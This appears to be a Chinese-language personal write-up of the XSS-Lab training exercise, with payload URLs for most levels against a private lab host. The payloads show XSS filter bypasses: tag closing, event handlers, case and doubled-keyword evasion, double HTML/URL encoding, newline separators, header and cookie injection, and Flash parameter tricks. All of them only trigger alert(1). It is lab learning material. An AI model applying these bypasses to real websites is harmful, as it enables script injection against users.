很久之前的XSS-Lab实验记录,权当凑数。
level1
首先审查元素,明确输入的payload在页面中的位置。
显然,这里需要闭合<h2>
标签,然后跟上js代码。
因为是第一关,没有特别的过滤,直接闭合就好了。
http://192.168.68.219/xss/level1.php?name=test
level2
html实体编码
这里要往表单input标签里面注入
http://192.168.68.219/xss/level2.php?keyword=aa%22%3E%3Cscript%3Ealert(1);%3C/script%3E
level3
<>
被实体编码拦截,但是加'
或者"
会使得浏览器自动补全。
这里关注input标签,使用onfocus=alert(1) autofocus移动光标到元素上(或者点击)就可以触发弹窗。
[http://192.168.68.219/xss/level3.php?keyword=11%27%20onfocus=alert(1)%20autofocus](http://192.168.68.219/xss/level3.php?keyword=11' onfocus=alert(1) autofocus)
level4
这里会在=
后面添加"
于是onfocus=alert(1)不大行了(其实还是可以触发弹窗,不过不能触发window.alert()
既然会自动添加"
,那么刚好用”javascript:xxxx”的方式来绕过。(好吧这个也不能触发跳转
[http://192.168.68.219/xss/level4.php?keyword=123%27%22%20onfocus=%22javascript:alert%281%29](http://192.168.68.219/xss/level4.php?keyword=123'" onfocus=”javascript:alert(1))
level5
过滤了script->s_cript onload->o_nload
不知道为什么javascript:alert(1)没反应,明明解析出来都没问题。
[http://192.168.68.219/xss/level5.php?keyword=11111%22%20%3E%3Ca%20value=%2711111%27%20href=%22javascript:alert(1)](http://192.168.68.219/xss/level5.php?keyword=11111" >
[http://192.168.68.219/xss/level5.php?keyword=11111%22%20%3E%3Cimg%20src=level5.png%20style=%22javascript:alert%281%29](http://192.168.68.219/xss/level5.php?keyword=11111" >
level6
href->hr_ef
src->sr_c
懂了,原来考的是大小写绕过,那么前面几个题也可以按照这种方法来过。
[http://192.168.68.219/xss/level6.php?keyword=111%22%20%3E%3CscRipt%3Ealert(1)%3C/scrIpt%3E](http://192.168.68.219/xss/level6.php?keyword=111" >alert(1))
level7
存在关键词过滤,这里可以使用双写关键字绕过过滤,并不能使用大小写绕过。
[http://192.168.68.219/xss/level7.php?keyword=%22%20%3E%3Cscscriptript%3Ealert(1)%3C/scriscriptpt%3E](http://192.168.68.219/xss/level7.php?keyword=" >alert(1))
level8
非常神奇地在这儿卡了半天,因为一些编码的问题。
审计PHP的源代码,发现过滤了script等关键字,当然可以通过实体编码绕过,比如hex或者unicode,但是要命的是hex有可能在浏览器中被自动解码再发送,而unicode是以&#开头。在url中,&用来分割参数,#之后的部分不向后端发送,只在本地被使用(比如锚点定位)。
如 keyword=javascript:alert(1)
,在后端,keyword只接受到javascrip
,非常难过。
又如keyword=%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29
,只使用一次urlhex编码,然后被浏览器自动解码。
solution
解决办法是使用两次编码,先unicode 后 urlhex。
javascript:alert(1)
javascript:alert(1)
%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B
payload:keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B
level9
在level8的基础之上,会检查网址格式是否包含http://,所以直接alert(‘http://‘)就好,其余和level8一样,只需要编码javascript就好。
level9.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B:alert(%27http://%27)
level10
检查到有三个隐藏的参数,那么首先就是要取消隐藏属性,然后构造xss触发弹窗就好,貌似没有之前的考点。
level10.php?keyword=well%20done!&t_sort=a"%20onfocus=javascript:alert(1)%20autofocus%20type="on
level10.php?keyword=well%20done!&t_sort=a"%20onmouseover=javascript:alert(1)%20autofocus%20type="on
level11
这一关比较有意思,虽然t_sort可以被操纵,但是被编码了,没有利用的办法。注入点在refer里,所以只是把level10的payload写在refer里面就好。
Firefox好像可以拦截请求修改之后再放出去,但是没有取了解,这里用的是burp。
level12
类似的,只是注入的是useragent
level13
仍然是类似的,注入的是cookie
level14–
不会,看了WP也不会的那种。
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12
level15–
angular倒是很有意思,但是不会。
https://www.runoob.com/angularjs/angularjs-intro.html
加载angular.js要科学上网,上网回来请求多了这一坨回来不知道怎么回事儿。
然后console里面就这样了,看上去level1.php是请求了,但是没有被加载到页面里。
level16
一开始仿照以前的两次编码,写了这个payload,但是关键字不能被解析,反而一直被当成文本,想来可能是两次编码的问题。
level16.php?keyword=111%26%2360%3B%26%2347%3B%26%2399%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%23101%3B%26%23114%3B%26%2362%3B%26%2360%3B%26%23105%3B%26%23109%3B%26%23103%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%2349%3B%26%2332%3B%26%23111%3B%26%23110%3B%26%23101%3B%26%23114%3B%26%23114%3B%26%23111%3B%26%23114%3B%26%2361%3B%26%2334%3B%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2399%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%23101%3B%26%23114%3B%26%2362%3B
后面还是上网了,看到可以用%0d
(tab)和%0a
(换行)来截断。
level16.php?keyword=1111%3Cimg%0asrc=1%0aonerror=%22javascript:alert(1)%22%3E%3Ccenter%3E
level17
审查元素,可以发现GET参数实则是Flash脚本的参数。
通过查询flash xss相关文章,可以了解到jsFunction是个关键,构造payload使得jsFunction这个关键字被解析,从而跳出了src属性,然后使用常用的onmouseover属性方法加载xss payload。
jsFunction被解析为属性名。
然后使用onmouseover或者其他方法执行alert()语句,如果过滤空格,根据level16,可以用%0a绕过。
?arg01=1111"&arg02=eeeeee%20jsFunction%0aonmouseover=javascript:alert(1)
level18
同样的套路。
?arg01=a&arg02=b%20jsFunction%20onmouseover=javascript:alert(1)
level19
https://www.freesion.com/article/6253464226/
抄袭payloadarg01=version&arg02=%3Ca%20href=%22javascript:alert(/xss/)%22%20onerror=%22javascript:alert(1)%22%3Exss%3C/a%3E
level20
竟然还需要逆向swf,那就只好抄了。